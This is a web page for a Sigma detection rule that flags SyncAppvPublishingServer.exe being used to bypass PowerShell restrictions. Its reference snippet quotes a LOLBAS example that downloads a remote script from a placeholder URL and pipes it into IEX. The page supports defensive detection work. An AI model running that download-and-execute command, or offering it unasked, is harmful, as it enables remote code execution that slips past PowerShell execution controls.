SyncAppvPublishingServer Bypass Powershell Restriction - PS Module

calendar Oct 17, 2023 · attack.defense_evasion attack.t1218  ·
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Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.

Sigma rule (View on GitHub)

 1title: SyncAppvPublishingServer Bypass Powershell Restriction - PS Module
 2id: fe5ce7eb-dad8-467c-84a9-31ec23bd644a
 3related:
 4    - id: fde7929d-8beb-4a4c-b922-be9974671667
 5      type: derived
 6    - id: 9f7aa113-9da6-4a8d-907c-5f1a4b908299
 7      type: derived
 8status: test
 9description: Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.
10references:
11    - https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/
12author: 'Ensar Şamil, @sblmsrsn, OSCD Community'
13date: 2020/10/05
14modified: 2022/12/02
15tags:
16    - attack.defense_evasion
17    - attack.t1218
18logsource:
19    product: windows
20    category: ps_module
21    definition: 0ad03ef1-f21b-4a79-8ce8-e6900c54b65b
22detection:
23    selection:
24        ContextInfo|contains: 'SyncAppvPublishingServer.exe'
25    condition: selection
26falsepositives:
27    - App-V clients
28level: medium

References

  • Syncappvpublishingserver | LOLBAS

    Example command on how inject Powershell code into the process SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX" Use caseUse SyncAppvPub...


    Read More

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